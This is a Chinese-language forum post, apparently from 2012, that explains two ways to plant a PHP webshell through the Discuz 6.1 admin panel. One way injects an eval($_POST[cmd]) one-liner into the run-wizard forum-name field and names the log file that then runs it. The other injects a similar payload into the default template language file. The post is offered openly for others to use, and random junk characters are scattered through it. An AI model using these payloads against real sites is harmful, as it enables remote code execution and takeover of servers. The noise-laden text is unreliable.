discuz6.1两种方法后台拿shell2 w6 ^2 U7 W+ ^5 I+ ?: ]- e
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下6 @& \: T' X$ u' r, o6 p
1:
6 L; j' z/ N5 g- v v mhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes2 ]& k+ I! D- S8 D' m! d
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell- ~8 P( @" F+ ~$ F# {; \
<?php eval($_POST[cmd]);?>) T# p4 G1 V- R9 I, y9 I
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
6 P a1 N4 K2 _. g) k- l
5 g) w* I* `; M- l, I* N. }& K) D. B8 I2 W
2:后台模板管理--默认模板套系--详情 A' o: P4 I0 z8 c
templates/default/actions.lang.php' ?1 \0 J4 \3 L
jhackj\\');eval($_POST[cmd])?>;//' s( B2 o6 w' v) D$ t9 T/ {
$ s7 L2 [' m; u利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对